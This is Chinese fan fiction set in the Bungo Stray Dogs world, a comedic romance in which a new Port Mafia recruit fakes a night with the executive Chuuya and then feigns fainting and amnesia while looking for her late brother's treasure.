《本周不服输的中也[文豪野犬]》
1. 去向干部学习
01
躺在我身旁的赭发青年缓缓睁开眼睛。
他美丽的蓝色眼瞳里先是露出些许迷茫、不解,宿醉后的困倦,紧随而来的是满目震惊。
死一般的寂静。
我率先开口打破僵局。
“干部大人,您昨晚好棒。”
青年磨了磨后槽牙,挤出两个字:“什么?”
……嗯?
他好像不太满意,是不是因为我夸得太敷衍了?
“您昨天晚上的表现太出色了,很有男子气概。”我指了指床下,“您看,我们的衣服全都被您撕碎了。”
青年的脸瞬间爆红,他机械般地转过头,看到满地的衣服碎片时,耳根子红得都能滴血了。
我假装羞涩,其实内心慌得一批。
要是被看出来我在骗他,绝对不会放过我的。
但港口Mafia首领的话也太不靠谱了,他口中高贵矜傲、冷若冰霜的干部魏尔伦,竟然是个耍起酒疯来满嘴“宰了你哦青花鱼”的二货青年。
时间线倒回到昨天晚上。
作为Mafia的新晋成员,我被派遣到干部魏尔伦那里进行岗前培训。
“等会儿见到干部大人,你要表现得主动点。”负责引路的墨镜男严肃地叮嘱道。
“保证主动。”
“要热情一些!”
“保证热情。”
“大人他可能不太熟练……咳,你要好好引导他。”
“?”
我听不明白了。
明明我是来学习的,怎么成我引导他了?什么叫他可能不太熟练?不熟练还接下培养新人的活?
男人见我犹豫,表情随即狠厉起来:“你要是敢嘲笑大人,我一枪崩了你!”
“……保证不笑。”
他想多了,就算借我十个胆子,我也不敢嘲笑Mafia的干部。
当我被他推进干部专用的休息室时,立刻被它的豪华程度震住了。
深色大理石铺成的地面,璀璨夺目的水晶吊灯,各种奢华的家具,随便一样都是我工作几辈子都买不起的东西。
房间尽头,巨大的落地窗如画布般展开,整个横滨的夜色尽收眼底。
落地窗旁的盆景边,半躺着一个纤细的身影。
名为魏尔伦的男人比我想象的更加年轻。
“晚上好,干部大人。”
听到我的声音,他睁开眼睛,醉眼朦胧:“我没醉!才没有喝醉呢!”
空气中弥漫着一股浓烈的酒气。
我俯身问道:“港口Mafia金库的地址在哪里?”
“在新——”他条件反射地从地上跳了起来,“这怎么能告诉你?”
“恭喜您,不算太醉。”至少没醉到将Mafia的机密抖出来。
“敢套本大爷的话,你和那条青花鱼一样狡猾!”
我不知道他说的青花鱼是谁,但他说完之后啪叽一声,又摔回了地上。
这次是脸着地。
“我的牙!”
他抿了抿嘴,脸苦巴巴的。
……想不笑是挺难的。
我开始理解那位引路人的警告了。
“大人,您还是早点洗澡休息吧。”
我伸手去扶他,他推开我后蹦到了钢琴上。
“你是青花鱼派来的帮手,我不上当!”
他对青花鱼执念很深。
“竟然被你看穿了我的真实身份,果然有两把刷子。”我话锋一转,“但是青花鱼大人可比你厉害多了。”
青年瞪大眼睛,咚的一下,他用头撞了我的头。
……好痛!
“老子才不会输给那条该死的青花鱼!”
这要命的胜负欲。
“青花鱼大人这个点早就洗过澡了,哪像你,衣服都没脱!”
激将法奏效,我话音刚落,他就脱掉了自己的外套。
“青花鱼大人脱衣服只需要十秒钟。”我开始胡乱倒计时,“十,九,八,五,二,——”
青年来不及脱衣服,干脆直接撕开了自己的衬衫。
整个过程不到五秒钟。
他抬着下巴雄赳赳气昂昂的样子,像极了等着老师表扬的小学生。
“比不上青花鱼大人哦。”我指了指他的脖子,“你还有Choker没摘。”
他一听,用力拉扯Choker,非但没解开,反而拉的更紧。
“不要用蛮力。”我提醒道。
这句话起到了反效果,他硬生生拽断了Choker。
“青花鱼大人每天都是自己洗澡,洗得可干净了。”
他往浴室飞奔而去,只留下一道残影。
这人真的是港口Mafia的干部吗?我不禁对此产生了怀疑。
我之所以加入港口Mafia,是为了寻找哥哥生前留在这里的无价之宝。
七年前,我受够了来自他和我的青梅竹马两人的双重戏弄,无奈地离家出走。
那两人整天笑眯眯的,人畜无害的样子,其实两肚子坏水。
无论我有什么秘密,都会被他们发现并威胁利用。
原本我计划离家出走去非洲草原看狮子,却在半路被迫参与了一场推理游戏,进入了一本书中。
哥哥和青梅竹马没能找到我,我在书里度过了七年的时光,原本应该是度过一生的时光,书的主人却将我放了出来。
他极度不满他的推理小说被我当成了异世界种田文。
我回到现实的世界,横滨早已物是人非,哥哥过世了,青梅竹马也不知所踪。
我在某个黄昏时分,记起离家出走那天,哥哥对我说过的最后一句话。
“乔伊,星期天别去和条野鬼混,哥哥带你去看看港口Mafia的无价之宝。”
“好的。”才怪!
肯定不是什么好东西,八成想把我也卖给Mafia当牛马。
当天夜里我就跑路了。
七年的时间说长不长,说短也不短,我得到了一些东西,也失去了一些东西。
重新站在这片故土上,我忽然很想看看哥哥当初提到的那件无价之宝。
哐当、哐当——
从浴室传来的响声打断了我的回忆。
这个魏尔伦又在搞妖蛾子了。
我不耐烦地使出杀手锏:“青花鱼大人洗澡时很乖的,从不发出声音!”
哐当——
噪音持续输出中。
我推门而入,眼前的景象让我瞬间无力吐槽。
青年用手铐将自己的手给铐在了花洒上,正在暴.力开.锁。
“别乱动,我来看看。”
他并不领情,脖子一梗,用力一拽,居然把花洒扯断了。
花洒掉进浴缸溅起的水花,浇了我一头、一脸。
我抹了一把脸上的水,抬头看见青年手上挂着半只手铐,眼神迷茫地在盯着一盒……安全套。
手铐,安全套,还有一堆乱七八糟的成人用品,就这么明晃晃地摆在浴室里。
我倒吸了一口凉气,原来加入Mafia的第一步是要为干部献出身体。
难怪首领叫我在见魏尔伦之前做好心理准备。
“可是你现在这个状态,行吗?”
显然不行。
青年都趴在浴缸里了。
我思索道:“看来只能走GB路线了。”
不!!!
只一秒,我就否定了这个念头。
绝对不行!
这不符合我的美学,况且万一哥哥是骗我的,根本没有所谓的无价之宝,那我岂不是错睡干部?
等一下,也不是非得真睡,这位干部都醉成这样了,估计明天醒来也不会有印象,我可以制造假象欺骗他。
想到这里,我捧住了青年的脸,在他微微发愣之际,吻上了他的眼睛。
他有一双美丽的眼睛。
像天空,像大海,像蓝色的花
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瓣和被晨间薄雾笼罩的山脉,一切我见过的良辰美景。
他满身的脾气被融化在了这个亲吻里。
他不再强硬,如同公园里终于放下戒备露出柔软肚皮的野猫。
“当黑手党一定很辛苦吧。”
我并不讨厌魏尔伦,尽管我不认同他选择的路。哥哥选择加入Mafia时,我也不认同。
他原本可以一直当一名优雅的钢琴家,衣食无忧,追求者成群,走到哪里迎接他的都是鲜花和掌声。
但他偏偏要当黑手党。
收割别人性命的同时,自己的性命也被放在了猎物的一端。
我叹了口气,他走时那么年轻,我真舍不得。
怀里的青年皱着眉头向我靠了靠,仿佛是在寻找来自同类的慰藉。
这一刻他似乎有些不安。
我抚摸他的眉头,手指擦过他柔软的头发。
“睡吧,干部大人,愿您做个好梦。”
他闭上眼睛,沉沉睡去。
我也困了,但我不敢睡,马不停蹄地开始制造两人激烈接触过的伪证。
衣服,撕碎。
蜡烛,点上。
鞭子,这个,还是扔了吧……
——于是便有了现在的场景。
“干部大人,您昨晚可真是如狼似虎。”我抖了抖掉出羽绒的枕头,“连枕头都被你啃破了,这个Mafia可以报销吗?”
不愧是我,三言两语就勾勒出了一个男人兽性大发的形象。
“……别说了。”青年手指攥住身下的床单,突然发现自己手上的半只手铐,“这什么意思?”
“Play的一环,是您非要铐上的。”我阴测测地说。
青年一脸难以置信,他在艰难消化自己酒后变成禽兽的事。
半晌,他讷讷地说:“你叫什么名字?”
“乔伊。”
“乔伊。”青年念了一遍,问:“是谁派你来的?”
我心想Mafia首领让我这个关系户进来,都没提前和魏尔伦打好招呼吗?
“是首领大人。”
“哈?”青年发出很大一声气音,“Boss让你来我这里?”
“对啊。”我点了点头,“我刚刚加入港口Mafia,首领大人让我先到您这里跟您学习。”
“跟我学习?”青年的表情变得古怪起来,“……能学什么?”
这个问题我也想知道。
我们四目相对,相顾无言。
“您对我的表现不满意吗?是我不够主动和热情吗?”我垂下眼眸,强行泫然欲泣,“即使不满意,也请不要向首领投诉,否则我会被赶出Mafia流落街头的。”
“我没打算投诉。”青年拽下了手铐。
“真的吗?”
蒙混过关的我正要起身,一条毯子飞过来,将我全身上下裹了个严严实实。
“真的,先坐下。”他揉了揉太阳穴,“实在抱歉,乔伊,我什么都想不起来了。”
“没关系,我全都记得。”
“……”
“真的没关系。”我朝他伸出手,“我能证明,魏尔伦大人您表现得真的很棒。”
青年的表情裂开了。
“你叫我什么?”
我心里一紧。
难道他讨厌别人直呼他的名字?
作为上下级,的确逾越了。
我赶紧改口:“干部大人。”
砰——
门被撞开了。
几个黑手党成员急匆匆地冲了进来,我认出了最前面戴墨镜的男人,正是昨天晚上带我来的人。
他噗通一声跪了下来。
“对不起,我送错人了,我把Mafia的新晋成员和献给您的女人送反了,请中也大人责罚!”
我愣住了。
中也大人?
不是魏尔伦大人?
难道我睡错人了?那岂不是忙活一晚上,全都白忙了?
2. 一波未平
02
场面变得有些尴尬。
我白忙了一场,而名叫中也的Mafia干部,也蒙冤被我塑造成了一个禽兽。
……好心虚。
不会被他察觉吧?
没什么事的话我先退下了——我刚要这么说,却听到中也咬牙切齿地骂道:“你这个混蛋!”
咔嚓——
那半只金属手铐竟然被他徒手捏碎了。
一瞬间,我仿佛听到了自己喉骨被捏碎的声音。
跪下的墨镜男瑟瑟发抖:“对不起,中也大人,因为她们两个人长得太像了,所以我才搞错了。”
旁边的Mafia成员试图帮他证实:“是啊,那个女人和这位小姐都是黑色短发,身形也差不多,亚瑟又是高度近视还戴着墨镜——”
他看了我一眼说:“不过仔细一看,还是那个女人比较好看,也更有气质。”
闻言,我生气了,中也比我更生气:“你们这群笨蛋!”
完了,在听到被送去魏尔伦那里的女人比我好看之后,他头发都要冒烟了。
……他是觉得自己亏了吗?
那我该不该告诉他其实我们之间什么都没有发生,这一切都是我自导自演的,现在把人换回来也不迟?
中也强压下怒火,哑着声音问:“那个女人呢?”
我在心里松了一口气,这就对了,赶紧换回来,这事就当没发生过。
“回中也大人,她已经被地下室的那位干部杀掉了。”
晴天霹雳!
魏尔伦脾气这么暴躁的吗?直接把没通过培训的新晋成员杀掉了?
港口Mafia都没有新手保护期吗?
哥哥的无价之宝不看也罢,还是速速逃命要紧!
我左脚刚下床踩在地板上,中也灼灼的视线就扫了过来。
我不敢迎接他的目光,既怕他怀疑我是想走捷径故意爬他床的心机女,又怕他把我送去魏尔伦那里挨刀。
万般无奈之下,我选择了一种最无奈的老把式。
——装晕。
心一横,眼一闭,我直直地往地上摔去——
预想之中的疼痛却没有袭来。
我并没有摔在地上。
身体变得很轻,前所未有的轻盈,像是浮在了空中。
腰间一紧,我被中也抱了起来。
——还是公主抱。
这在我的人生中是第一回。
以前不管是哥哥还是青梅竹马,他们抱我的方式都很粗暴,哥哥用钢琴线提拉我,青梅竹马心情好时会单手将我夹在胳膊下,心情不好直接在地上拖……
“喂,乔伊,醒醒!”
我哪里敢醒,大气不敢出一下。
无论中也如何叫唤,我都死死地闭着双眼。
得亏哥哥生前在Mafia的工作是造假,耳濡目染,在这方面我也颇有经验。
“中也大人,她这是累晕过去了。”一位年长的Mafia成员说道,“我老婆也常常这样。”
我:“……”
中也:“……这样吗?”
“大人您毕竟是重力使,体力恐怕异于常人……咳咳。”
“咳咳。”
“咳咳咳——”
满屋子响起了老司机们此起彼伏的咳嗽声。
“闭嘴!”中也恼羞成怒,“全都给我闭嘴!”
正在这时,屋外有人来报:“中也大人,尾崎大人请你去她那里一趟。”
“知道了,马上就过去。”中也说完又吩咐亚瑟,“找个医生过来给她看看。”
“Yes sir!”
不妙,中也没看出来,但医生绝对能看出来,我脖子上的吻痕是用塑料瓶子吸出来的,腰上的手印也和中也的手掌大小不一致。
一切的兽行都是诬陷的。
医生估计也会看出我是在装晕。
欺骗干部可是大罪,一枪毙命都算是慈悲了,我的脑海里闪过哥哥以前讲过的港口Mafia的各种酷刑……
逃吧乔伊!
真正的无价之宝是生命才对!
趁着其他成员离开,亚瑟去找医生,房间里只剩下我一个人时,我马不停蹄地开始了求生之路。
走正门是想都别想了,遇到任何一个Mafia成员,我的计划都会失败。
只能从阳台离开了。
我往下一看,至少十几层楼,直接跳肯定不行,但是下面一层楼的墙壁外侧,有一条长长的水管一直通往底下。
只要我跳到那里,就能顺着水管安全地爬下去了。
天无绝人之路,幸运女神与我同行。
我深吸了一口气,爬上阳台。
永别了港口Mafia~
“不要啊!!!”
背后传来了亚瑟的惊呼,我被吓了一跳,还没来得及反应,脚踝已经被他拽住了。
接着是用力一拉。
咔嚓——
我的骨头裂开了。
好痛!
我要打人了。
“就算你再不喜欢中也大人,也用不着跳楼自杀吧!”
亚瑟,一个将近一米九,高大魁梧的男人,居然哭了。
我也哭了,因为骨头裂开实在是太疼了。
我们俩都哭成了泪人。
“发生什么事了?”门口传来了中也的声音,他从尾崎大人那里回来了。
门口的小弟回答:“乔伊小姐刚才在跳楼自杀。”
中也:“!!!”
“全都是我的错,我不该眼神不好把你送错房间,我早该听妈妈的话去做眼睛激光手术的!”亚瑟哭着说道,“乔伊小姐,你杀了我吧!”
我的确想杀了他,他的手到现在还拉着我断裂的脚踝。
啪——
我用力打开了他的手。
“乔伊小姐!”他还想拉我。
“滚!”我骂道。
一双黑色的皮鞋在我的眼前站定。
泪水模糊了眼睛,我看不清赭发青年的表情,只能听到他的轻声低喃:“这件事……让你这么痛苦么?”
救命,这误会好像变大了。
但我如今骑虎难下,无法解释了。
眼下最要紧的还不是这些,我的脚踝骨头裂开了啊啊啊!
中也摘下帽子,朝我鞠了一躬:“抱歉,给你带来了困扰,我会处理好这件事的。”
……他道歉了。
作为一个干部,他居然会低头道歉。
Mafia并不是什么正义组织,烧杀抢掳的事情也时有发生,他们的成员别说是上错人,就是杀错人,也不一定会道歉。
况且中也本人才是最大的受害者。
我的良
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心有一丝隐隐作痛。
或许就算我实话实说,他也不会太生气叭。
“我——”
刚开口说了一个字,从脚踝处又传来一阵钻心的疼痛。
亚瑟这个大傻子,又按在了我的脚踝上。
“全都是我的错,不是中也大人的错!”
这次我是真的晕过去了。
——疼晕的。
*
再次睁开眼睛,我已经躺在病房里了。
映入眼帘的是连接手腕的输液吊瓶,脚上也打了厚厚的石膏绷带。
我忧心忡忡,伤了一只脚,行动不便,这次连从外墙管道爬出去都不可能了。
我就不该对哥哥说的无价之宝感到好奇。
“你醒了。”
亚瑟的大脸晃到了我的面前,我这才意识到病房里还有这个万恶之源。
“对不起,请你不要怨恨中也大人,也不要自杀了,等会儿我就把你送去魏尔伦大人那里。”
不不不,我也不要去魏尔伦大人那里。
那家伙心狠手辣,直接将不合格的新晋成员杀了,去他那里我活不过一天。
“你还真是个——”亚瑟显然文化程度不高,绞尽脑汁才想出了一个夸我的词,“烈女子。”
“想傍上我们中也大人的女人不计其数,你还是第一个因为和中也大人过了一夜而要跳楼自杀的,我都对你心生敬意了。”
呔,他在胡言乱语什么?
“你怎么了?乔伊小姐——”
我慢慢地掀开眼皮,亚瑟的墨镜片上倒映出我迷茫的神情。
“你是谁?”
三秒钟后。
“不好了,中也大人!乔伊小姐傻掉了!”
……
“所以是什么都想不起来了吗?”
病床边,依次站着亚瑟,中也,和Mafia的一名年轻医生。
我摇了摇头,表面稳如老狗,内心实际慌得一批。
为了逃避去魏尔伦那里送死,我选择了又一个老把式,装失忆。
“中也大人,她应该是受到巨大的刺激,失忆了。”医生推了推眼镜,“您看过经典漫画《剑风传奇》吗?”
“没……”中也懵了,“为什么突然提漫画?”
我倒是看过。
“女主角卡思嘉被黑化的格里菲斯强迫之后,就像这样失去了记忆,简直一模一样。”
庸医!妥妥的庸医!
我还是第一次见有靠漫画剧情诊断病情的医生。
他甚至都不给我先做个脑部核磁共振。
中也又尴尬又不知所措:“那、那要怎么办?”
他急得舌头都打结了。
“留在Mafia不利于恢复病情,送她回家吧。”
谢天谢地,庸医万岁,我终于可以离开Mafia了。
“让她回到家人身边,有他们照顾,她会慢慢想起来的。”
“她没有家人。”中也低声说道,“我去要过她的资料了,她很早就是孤儿了。”
“我就知道是这样。”医生叹息,“好人家的姑娘谁会来我们这里?”
他顿了顿:“那还是把她留在港口Mafia吧。”
中也:“好。”
我牙都要咬碎了。
逃跑计划执行的越来越困难,这样下去迟早要完。
3. 我在Mafia的靠山
03
我被送到了Mafia唯一的女性干部尾崎红叶那里。
原因是庸医诊断我和卡思嘉一样会对异性的触碰应激,留在中也身边不利于病情的恢复。
“事情就是这样,大姐,她先拜托你了。”
中也的性格不是一般的负责,他完全可以用钱打发我或是将我送进疗养院,但他偏偏将我留在港口Mafia里治疗。
“真是一位刚烈的女性。”尾崎对我的评价很高。
“都怪我昨天晚上喝得太多了。”中也十分后悔。
我心虚极了,为了回避他们的眼神,只能埋头折纸鹤。
尾崎身为干部,工作也很忙,便派了一名叫织雪的女性成员照顾我。
织雪比我小六岁,活泼开朗,总是叽叽喳喳说个不停。
“听说干部A献给首领一枚全亚洲最大的蛋白石,不知道价值多少亿呢?”
“外面天气好好,你要去晒晒太阳吗?”
“乔伊小姐,中也大人来看你了……”
我折着纸鹤的手指一顿。
抬眸瞥见站在门口的赭发青年,我又低头继续折。
中也每隔两天就会过来看看,听织雪汇报我的情况,不会待很久,每次十分钟,像上级领导视察工作。
“乔伊小姐今天只吃了一片面包。”
——因为面包烤得太干了,不好吃。
“乔伊小姐今天没有说话,也没有笑。”
——因为言多必失,笑必出妖。
“她还是像往常那样在折纸鹤,但坚决不肯我帮忙。”
——因为织雪折的纸鹤都很难看,像大扑棱蛾子。
“知道了。”中也顿了顿,“你先下去吧。”
“是。”
房间里只剩下了我和他两个人。
午后的阳光透过玻璃窗照进来,深红的地砖也变得色泽明艳。
纱帘被风吹动,投在红砖上的影子像是在跳舞。
我凝视着影子,看到那双漆黑的皮鞋试探性地往我的方向走了一步。
一步,两步,三步……
他的脚步很轻,没发出一丁点声音。
在发现我没有应激后,这位年轻的Mafia干部用一副故作轻松的语气说道:“在折纸鹤啊?我以前也折过,我还会折纸飞机,那个你会吗?”
“……”
“咳,你应该多吃点,只吃一片面包会营养不良的,如果有想吃的东西,可以提出来,Mafia的厨师手艺很好。”
“……”
“我晚上要去欧洲出差了,这次的敌人比较难缠,不知道会不会一切顺利。”
“……”
中也絮絮叨叨说了一些话,没得到任何回应也没有生气。
风还在吹,哗啦一声——
桌上整齐摆放的纸鹤被吹乱了,有一只橙色的被吹到了地上。
我弯腰去捡,那只纸鹤竟然奇迹般地飞了起来。
它在空中飞了一圈,最后停在了我的面前。
纸鹤的后面,是中也温柔俊美的脸。
“好玩吗?”他问。
Mafia的重力使,大概是第一次将作战的异能力用在折纸上。
“别的也都可以飞起来哦。”
见我仍没有反应,中也的声音小了下去。
“我该走了。”
十分钟到了。
我垂下眼眸,表示告别。
他却没有立刻离开,而是走到窗前,关上了窗户。
风停了。
附着在纸鹤上象征重力的红光消失,落回了我手里。
中也转过头,面容身影和柔和的夕阳几乎融成一个整体。
他轻轻地对我笑了一下。
“再见了,乔伊。”
……明明他什么都没做。
……却是他来承担一切的后果。
在他转身的瞬间,我忍不住伸手拉住了他的衣角。
“还有什么事吗?”中也停下脚步。
我托起他的手,将那只橙色的纸鹤放进他的掌心。
夕阳下沉了,瑰丽的颜色裹住它,像是随时准备乘风远行。
“这个要送给我吗?”
我点了点头。
“……会有神明保佑您。”
*
干部出差日,Mafia逃离计划执行日。
我破天荒地对织雪提出了想出门散心的要求。
“乔伊小姐,你总算愿意开口说话了呜呜呜——”织雪感动地大哭,“我的努力没有白费,中也大人知道了一定会很高兴的!”
织雪并不清楚我和中也的真正关系,而中也的下属们也选择了对献秀闹乌龙的事闭口不谈。
于是在少女织雪的想象里,我是中也在老家的青梅竹马,因为车祸失忆,被善良的干部大人接到了Mafia疗养……
我懒得纠正。
“但是乔伊小姐的脚还没好,出门不方便,我先去找个轮椅。”
“不用。”我琢磨轮椅太大,在逃跑时容易给路人留下深刻的印象,“给我找根手杖就行。”
“好!”
织雪做事雷厉风行,不一会儿就找来了一根精美的手杖。
“乔伊小姐想去哪里玩呢?”她兴致勃勃地介绍道,“想去A动物园,还是去B动物园。”
“你来选吧。”这两个有区别吗?
“那就去B动物园看羊驼吧,羊驼会朝人吐口水,可有趣了。”
“……”完全不想看,这姑娘怎么会对这种东西感兴趣?
当我们来到楼下,距离出口就差一步时,织雪突然叫了起来:“哎呀,我还没去财务申请经费呢!”
我从牙缝里挤出两个字:“穷游。”
“不行,穷游不能和羊驼互动。”织雪朝一个过路的墨镜男挥了挥手,“亚瑟,帮我照看一下乔伊小姐,我去一趟财务。”
Mafia处处是熟人。
亚瑟作为中也的心腹,为什么没有跟他一起出差?
可恶,明明自由就在眼前了,身后却多了一条尾巴。
我往左,他跟着往左,我往右,他也跟着往右,始终保持着一米的距离。
最后我败下阵来:“亚瑟大人,我想去洗手间。”
“噢,好的。”
一楼洗手间的后门有一条由藤蔓植物围绕的长廊,顺着长廊一直右拐,片刻后,Mafia的花园映入了眼帘。
大片大片不合时宜的红玫瑰热烈地盛开着,远远看上去像一团团火焰。
紫樱树下的茶桌旁,穿着黑色西装的男人优雅地双手交叠,唇角淡淡地翘着,正在研究面前的一盘围棋。
旁边的金发女孩啃着单球冰淇淋抱怨:“林太郎大笨蛋,为什么只给我一颗球?”
“入秋了天冷,吃太多冰淇淋爱丽丝酱会肚子痛。”男人委屈巴巴地说,“然后我会心痛地死掉!”
“……”
此地不宜久留。
我一声不吭地往后倒退,手杖不小心戳到了一块石头,发出的声响立刻吸引了花园中两人的视线。
“乔伊酱。”男人开口打招呼,“听说你最近在和中也君培养感情。”
这都是谁传出去的小道消息?
“森先生,这和我们原先说的不一样。”我扔下手杖,“我不干了。”
“哦?”森鸥外挑挑眉,“哪里不一样?”
我和他是旧识。
家族没落前我很富裕,那时候还在读大学的森鸥外为了挣学费,应聘当了我的家庭教师。
他没教我什么正经东西,很快被我的父母赶了出去。
后来家族没落,森鸥外反倒出息了,从地下医生混到Mafia首领,还忽悠我哥也成了他的下属。
其实这些都与我无关,我只是对哥哥留下的无价之宝感到好奇。
于是当我找上森鸥外时,他虽表示对宝物的内容不知情,却爽快地同意我留下查明。
由于哥哥生前在Mafia树敌众多,若是我直接说明身份,必然会招来麻烦,森鸥外便帮我伪造了简历。
但他越是热情,我越觉得其中有阴谋。
“魏尔伦根本不是善茬,他直接把新晋成员杀了。”
目前我骑虎难下的局面,一半是二货忠犬亚瑟造成的,一半是暴躁老哥魏尔伦造成的。
“魏尔伦教出的新人都很优秀,他有等待新人成长的耐心。”森鸥外放平了交叠的双手,幽幽地说,“听闻被杀的女性原本是中也君下属的献秀,她去做无关的事,魏尔伦会生气也不意外了。”
“让她离开不就好了?”
中也和魏尔伦一样不接受献
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秀,但中也不仅没杀我,反而内疚地将我保护了起来。在得知亚瑟花光积蓄,给他精心挑选了一个才艺双绝的女性后,中也甚至没再责备,只是提醒他不准有下次了。
两位干部一比,高下立判。
“每个人都有自己的处事风格。”森鸥外替他的下属说好话,“平日里魏尔伦性格还算随和,也很关心后辈。”
“算了,这个宝物我不要了。”我决定放弃寻宝,“当作留给未来考古队员的惊喜吧。”
“太过简单的放弃,真不像你的兄长,或者你也可以——”森鸥外话锋一转,“直接去问他。”
“呵呵。”我笑了,“我哥哥不是在六年前就被杀了么?如何向死者问话,还请森先生先做示范。”
“恐怕他和我见面也不会坦言,人类的信任通常来源于血亲。”
“血亲?他可是为了您背叛家族,执意加入港口Mafia,由此可见,森先生在我哥哥心中的地位无人能及。你们以前是情侣吗?”
“停一下,我是直男。”森鸥外瞬间变成了豆子眼,“乔伊酱,你和小时候一样调皮。”
“彼此彼此。”
“天气不错,下棋吗?”他指了指面前的围棋,“赢了的话,我可以给你一个关于宝物的提示。”
“您要是知道宝物在哪里,还会告诉我?”
话虽如此,我还是坐了下来。
我选白子,他执黑子。
像以前那样。
说起来森鸥外的围棋和钢琴还是我教的——到底谁才是家庭教师?
……
“我赢了。”我拍了拍手,“这么多年,您毫无长进。”
“比不上老师。”森鸥外微笑,“但是幸好有让我表达歉意的机会。”
歉意?
我低下头。
黑子在棋盘上围成了一朵花的形状。
“让你遇到了不开心的事,我很抱歉。”
这一刻,我仿佛看到了年轻时候的森鸥外。
他被扫地出门,站在庄园外的树下看我,那是一个极其漫长的回眸,超出了正常礼仪和师长关心孩子所需的时间。
那时他也说过:“不能继续陪你,我很抱歉。”
我气不起来了,嘀咕道:“这种程度的歉意哪够?您不知道我装得有多艰难,好几次都差点露馅了。”
说到这里,脑子里的思路忽然明了。
“难道是您授意医生帮我圆谎的?”
仔细一想,Mafia首领本人就是医生出身,招来的医生怎么可能是靠漫画诊断病情的庸医?
如果不是他亲自授意,那谁也没有胆子欺骗干部。
森鸥外温和地望着我:“果然像乔伊酱这么聪明的孩子,在哪里都会活得很精彩。”
“不要给我戴高帽,宝藏的提示是什么?”
“钢琴师生前最后一个见到的人是魏尔伦。”
“……”
又是魏尔伦?
这个暴躁老哥是过不去了。
“别沮丧。”森鸥外摆出一副我很好说话的姿态,“今后无论你遇到什么困难,我都会帮你。”
“说的比唱的好听。”
正说着,花园外传来了织雪的声音:“乔伊小姐,我申请到经费啦!我们可以去动物园啦!”
救命!我可不想看羊驼吐口水。
“森先生,我现在就遇到困难了。”
“闭上眼睛。”
没等我同意,一只宽大的手就捂住了我的眼睛。
我被按着坐回了椅子上。
一件厚重的风衣盖在了我的身上,将我严严实实地拢住。
风衣的内衬余留着人类体温的暖意,以及十分成熟考究的男士香水气味。
这么多年过去了,他的喜好还是没变。
我眯起眼睛,看到森鸥外拦下了织雪和亚瑟:“乔伊小姐正在休息。”
“我们说好去看羊驼吐口水的。”
“下次看。”
“可是首领大人——”
“没有可是。”
这是我第一次见识到森鸥外作为港口Mafia首领的威严。
他的声音始终温和,甚至有些漫不经心,但当他眼角低垂,整个Mafia都停止喧嚣。
“从现在起,没我的命令,谁也不准进入花园。”
4. 给中也做松饼
04
再次见到中也时,已经过去了一个月。
在这一个月里,我每天除了吃吃喝喝养脚伤,就是和Mafia的少女们做游戏。
“大家都藏好了吗?我来抓你们咯~”
花园里,我的眼睛上蒙着一条白色手帕,伸出双手像瞎子一样摸索前行,试图抓住与我做游戏的织雪和爱丽丝她们。
之所以玩这种幼稚的儿童游戏,属实无奈。
由于我和森鸥外频繁接触,他又总是有意无意的展露“偏爱”,港口Mafia里终于不再流行我和中也的绯闻,改为传我和森鸥外的风流事。
我闲着无聊点开Mafia的野生论坛吃瓜,看到飘在首页的那些Hot帖子,两眼一黑险些背过气去。
【森先生花园冲冠一怒为红颜:休得惊扰她入眠!】
【森先生餐厅冲冠一怒为红颜:休得做菜做太咸!】
【森先生电梯冲冠一怒为红颜:休得走在她之前!】……
照这么冲下去,森鸥外的头发都快冲没了。
“您应该加大论坛管理力度,阻止造谣发酵。”我对他提出抗议,“把造谣的人都抓起来,狠狠扣工资!”
森鸥外却是一笑置之:“这是匿名论坛,IP在国外。”
“组织里难道没有电脑高手吗?即使抓不到造谣的人,至少也得把这些帖子删掉。”
“Mafia主张言论自由,况且制造新话题是转移旧话题最好的方式。”他反问道,“中也君的事不是让你感到困扰么?”
这倒是。
自从我偷听到亚瑟他们的谈话,知道中也是个洁身自好,从不光顾风俗店的处男后,我内心的负罪感更强烈了。
这位年轻的干部显然是想把身心都献给未来的恋人。
献秀一事是他的部下们自作主张,加上我的故意误导,让他误以为自己失去了童贞,说不定以后等他遇到自己喜欢的人,会因为这件事而感到自卑。
因此越快与中也划清界限越好,直到他忘记这件事。
可即便这样,我也不想和森鸥外传出绯闻。
“森先生,您对我而言,年纪太大了。” 他比我年长了十八岁。
“乔伊酱,我也嫌你年纪大,你超出我的选择范围十岁了。”听听,他说的是人话吗?
为了堵住别人的嘴,我开始假装对女生感兴趣。
亲手喂爱丽丝吃巧克力蛋糕,送尾崎玫瑰花,和织雪贴贴,邀请樋口共浴……
我十分卖力地和身边的每一个女性制造绯闻。
然而收效甚微。
野生论坛上至今还没有出现过我和同性的任何一条绯闻。
这天爱丽丝吵着要玩摸瞎子的游戏,森鸥外被一堆加急文件搞得焦头烂额,分身乏术,便将她委托给了我照顾。
我不清楚他们两人的关系,看年龄像是父女,看相处模式却不像。
森鸥外更像是她的奴隶。
现在连我也成了她的奴隶。
扮演瞎子角色的人不用说,自然是我。不过虽然眼睛蒙着手帕,但因为手帕是白色的,能透光,我仍然可以偷偷看见一点模糊的人影。
“我藏好啦,乔伊酱开始抓吧。”爱丽丝开心地说。
“我这边也好了。”织雪也十分兴奋。
“等等,我这边没好!”樋口似乎还没有找好藏起来的地方。
“藏哪里都是一样的,我会把你们一网打尽!”
我故意说的很大声,内心暗暗期待着被嘴大的亚瑟听到,他受中也的要求,每天都会过来查看我的情况。
此人乃Mafia的八卦王,经他的大嘴添油加醋地说出去,明天一觉醒来,绝对能在论坛上看到我和Mafia女生们虐恋情深的帖子。
“我也藏好了。”速度最慢的樋口说。
借着透过手帕的微光,我看到右侧的小路上站着一个纤细的人影。
看身形和衣服是樋口。
我摸索着走过去。
我假装没发现她,在与她擦肩而过时,故意肉麻地说:“我命中注定的宝贝在哪里呢?”
亚瑟,你一定要把这句话给我大力的传播!
樋口一动不动,估计是在庆幸没被我发现。
一步,两步——
在背对着她缓缓走出两小步之后,我忽然飞快转身,以迅雷不及掩耳之势抱住了她。
这一波偷袭来的猝不及防,樋口很明显的身体一僵。
“抓到了。”我用暧昧的语气说,“作为惩罚,罚你和我原地结婚~”
很好,今晚论坛的Hot贴预定——港口Mafia的百合花开了。
正在这时,被我紧紧抱住的人发出了一声:“……喂!”
完了。
不是樋口,是中也!
是中原中也!
他什么时候回来的?!
在经过短暂的大脑宕机后,我迅速放开他,扯下了眼罩。
中也满脸震惊,而站在他身后不远处的亚瑟则是满脸坏笑。
“对不起,中也大人!”我赶紧道歉,“我有眼不识泰山!”
“有眼也蒙着呢,这不怪你。”中也轻咳了一声,“我看你们都在玩,就没出声。”
这个乌龙闹太大了。
